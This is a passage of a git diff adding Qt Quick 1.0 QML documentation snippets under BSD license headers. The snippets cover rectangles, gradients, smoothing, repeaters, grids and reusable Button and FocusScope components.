+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+Rectangle {
+ width: 100; height: 100
+ color: "lightblue"
+
+ Rectangle {
+ anchors.fill: parent
+ anchors.margins: 10
+ clip: true
+
+ Rectangle {
+ anchors.fill: parent
+ border.width: 1
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/rectangle/rectangle-colors.qml b/doc/src/snippets/declarative/rectangle/rectangle-colors.qml
new file mode 100644
index 00000000..23a040d1
--- /dev/null
+++ b/doc/src/snippets/declarative/rectangle/rectangle-colors.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 200
+
+Item {
+ x: 10; y: 10
+ width: 80; height: 180
+
+//! [rectangles]
+Rectangle {
+ color: "#00B000"
+ width: 80; height: 80
+}
+
+Rectangle {
+ color: "steelblue"
+ y: 100; width: 80; height: 80
+}
+//! [rectangles]
+}
+}
diff --git a/doc/src/snippets/declarative/rectangle/rectangle-gradient.qml b/doc/src/snippets/declarative/rectangle/rectangle-gradient.qml
new file mode 100644
index 00000000..c5a63e0b
--- /dev/null
+++ b/doc/src/snippets/declarative/rectangle/rectangle-gradient.qml
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 300
+
+Item {
+ x: 10; y: 10
+ width: 80; height: 280
+
+//! [rectangles]
+Rectangle {
+ y: 0; width: 80; height: 80
+ color: "lightsteelblue"
+}
+
+Rectangle {
+ y: 100; width: 80; height: 80
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "lightsteelblue" }
+ GradientStop { position: 1.0; color: "blue" }
+ }
+}
+
+Rectangle {
+ y: 200; width: 80; height: 80
+ rotation: 90
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "lightsteelblue" }
+ GradientStop { position: 1.0; color: "blue" }
+ }
+}
+//! [rectangles]
+}
+}
diff --git a/doc/src/snippets/declarative/rectangle/rectangle-smooth.qml b/doc/src/snippets/declarative/rectangle/rectangle-smooth.qml
new file mode 100644
index 00000000..f3d42646
--- /dev/null
+++ b/doc/src/snippets/declarative/rectangle/rectangle-smooth.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 200
+ color: "white"
+
+ Grid {
+ anchors.centerIn: parent
+ columns: 4; rows: 2; spacing: 10
+
+ Rectangle {
+ color: "steelblue"; width: 80; height: 80
+ rotation: 10
+ }
+ Rectangle {
+ color: "#F0A080"; width: 80; height: 80
+ border.color: "gray"; rotation: 10
+ }
+ Rectangle {
+ color: "steelblue"; width: 80; height: 80
+ radius: 10; rotation: 10
+ }
+ Rectangle {
+ color: "#F0A080"; width: 80; height: 80
+ radius: 10; border.color: "gray"
+ rotation: 10
+ }
+
+ Rectangle {
+ color: "steelblue"; width: 80; height: 80
+ rotation: 10; smooth: true
+ }
+ Rectangle {
+ color: "#F0A080"; width: 80; height: 80
+ border.color: "gray"; rotation: 10; smooth: true
+ }
+ Rectangle {
+ color: "steelblue"; width: 80; height: 80
+ radius: 10; rotation: 10; smooth: true
+ }
+ Rectangle {
+ color: "#F0A080"; width: 80; height: 80
+ radius: 10; border.color: "gray"
+ rotation: 10; smooth: true
+ }
+ }
+}
diff --git a/doc/src/snippets/declarative/rectangle/rectangle.qml b/doc/src/snippets/declarative/rectangle/rectangle.qml
new file mode 100644
index 00000000..b7c1a90e
--- /dev/null
+++ b/doc/src/snippets/declarative/rectangle/rectangle.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100
+ height: 100
+ color: "red"
+ border.color: "black"
+ border.width: 5
+ radius: 10
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/repeaters/repeater-grid-index.qml b/doc/src/snippets/declarative/repeaters/repeater-grid-index.qml
new file mode 100644
index 00000000..6133b70c
--- /dev/null
+++ b/doc/src/snippets/declarative/repeaters/repeater-grid-index.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400; color: "black"
+
+ Grid {
+ x: 5; y: 5
+ rows: 5; columns: 5; spacing: 10
+
+ Repeater { model: 24
+ Rectangle { width: 70; height: 70
+ color: "lightgreen"
+
+ Text { text: index
+ font.pointSize: 30
+ anchors.centerIn: parent } }
+ }
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/repeaters/repeater.qml b/doc/src/snippets/declarative/repeaters/repeater.qml
new file mode 100644
index 00000000..1de8091f
--- /dev/null
+++ b/doc/src/snippets/declarative/repeaters/repeater.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [import]
+import QtQuick 1.0
+//! [import]
+
+Row {
+
+//! [simple]
+Row {
+ Repeater {
+ model: 3
+ Rectangle {
+ width: 100; height: 40
+ border.width: 1
+ color: "yellow"
+ }
+ }
+}
+//! [simple]
+
+//! [index]
+Column {
+ Repeater {
+ model: 10
+ Text { text: "I'm item " + index }
+ }
+}
+//! [index]
+
+//! [modeldata]
+Column {
+ Repeater {
+ model: ["apples", "oranges", "pears"]
+ Text { text: "Data: " + modelData }
+ }
+}
+//! [modeldata]
+
+//! [layout]
+Row {
+ Rectangle { width: 10; height: 20; color: "red" }
+ Repeater {
+ model: 10
+ Rectangle { width: 20; height: 20; radius: 10; color: "green" }
+ }
+ Rectangle { width: 10; height: 20; color: "blue" }
+}
+//! [layout]
+
+}
diff --git a/doc/src/snippets/declarative/reusablecomponents/Button.qml b/doc/src/snippets/declarative/reusablecomponents/Button.qml
new file mode 100644
index 00000000..a09df9ee
--- /dev/null
+++ b/doc/src/snippets/declarative/reusablecomponents/Button.qml
@@ -0,0 +1,84 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+//contents of Button.qml
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ id: button
+//! [properties]
+ width: 145; height: 60
+ color: "blue"
+ smooth: true; radius: 9
+ property alias text: label.text
+//! [properties]
+ border {color: "#B9C5D0"; width: 1}
+
+ gradient: Gradient {
+ GradientStop {color: "#CFF7FF"; position: 0.0}
+ GradientStop {color: "#99C0E5"; position: 0.57}
+ GradientStop {color: "#719FCB"; position: 0.9}
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Click Me!"
+ font.pointSize: 12
+ color: "blue"
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(text + " clicked")
+ }
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+//! [ellipses]
+ //...
+//! [ellipses]
+
+
diff --git a/doc/src/snippets/declarative/reusablecomponents/application.qml b/doc/src/snippets/declarative/reusablecomponents/application.qml
new file mode 100644
index 00000000..e5881d08
--- /dev/null
+++ b/doc/src/snippets/declarative/reusablecomponents/application.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+Rectangle {
+ width: 175; height: 350
+ color: "lightgrey"
+
+ Column {
+ anchors.centerIn: parent
+ spacing: 15
+ Button {}
+ Button {text: "Me Too!"}
+ Button {text: "Me Three!"}
+ }
+}
+//! [document]
diff --git a/doc/src/snippets/declarative/reusablecomponents/component.qml b/doc/src/snippets/declarative/reusablecomponents/component.qml
new file mode 100644
index 00000000..1918c1e1
--- /dev/null
+++ b/doc/src/snippets/declarative/reusablecomponents/component.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+import QtQuick 1.0
+
+//! [parent begin]
+Rectangle {
+//! [parent begin]
+ id: screen
+ width: 175; height: 175
+ color: "lightgrey"
+
+//! [define inline component]
+ Component {
+ id: inlinecomponent
+ Rectangle {
+ id: display
+ width: 50; height: 50
+ color: "blue"
+ }
+ }
+//! [define inline component]
+//! [create inline component]
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ inlinecomponent.createObject(parent)
+
+ var second = inlinecomponent.createObject(parent)
+
+ var third = inlinecomponent.createObject(parent)
+ third.x = second.width + 10
+ third.color = "red"
+ }
+ }
+//! [create inline component]
+//! [parent end]
+}
+//! [parent end]
+//! [document]
diff --git a/doc/src/snippets/declarative/reusablecomponents/focusbutton.qml b/doc/src/snippets/declarative/reusablecomponents/focusbutton.qml
new file mode 100644
index 00000000..fcfe1dc8
--- /dev/null
+++ b/doc/src/snippets/declarative/reusablecomponents/focusbutton.qml
@@ -0,0 +1,98 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//! [document]
+//contents of focusbutton.qml
+import QtQuick 1.0
+
+//! [parent begin]
+FocusScope {
+//! [parent begin]
+
+ //! [expose visuals]
+ //FocusScope needs to bind to visual properties of the children
+ property alias color: button.color
+ x: button.x; y: button.y
+ width: button.width; height: button.height
+ //! [expose visuals]
+
+ //! [rectangle begin]
+ Rectangle {
+ //! [rectangle begin]
+ id: button
+ //! [properties]
+ width: 145; height: 60
+ color: "blue"
+ smooth: true; radius: 9
+ property alias text: label.text
+ //! [properties]
+ border {color: "#B9C5D0"; width: 1}
+
+ gradient: Gradient {
+ GradientStop {color: "#CFF7FF"; position: 0.0}
+ GradientStop {color: "#99C0E5"; position: 0.57}
+ GradientStop {color: "#719FCB"; position: 0.9}
+ }
+
+ Text {
+ id: label
+ anchors.centerIn: parent
+ text: "Click Me!"
+ font.pointSize: 12
+ color: "blue"
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log(text + " clicked")
+ }
+ //! [rectangle end]
+ }
+ //! [rectangle end]
+//! [parent end]
+}
+//! [parent end]
+
+//! [document]
+
+//! [ellipses]
+ //...
+//! [ellipses]
+
+
diff --git a/doc/src/snippets/declarative/reusablecomponents/qmldir b/doc/src/snippets/declarative/reusablecomponents/qmldir
new file mode 100644
index 00000000..253732de
--- /dev/null
+++ b/doc/src/snippets/declarative/reusablecomponents/qmldir
@@ -0,0 +1,4 @@
+//! [document]
+Button ./Button.qml
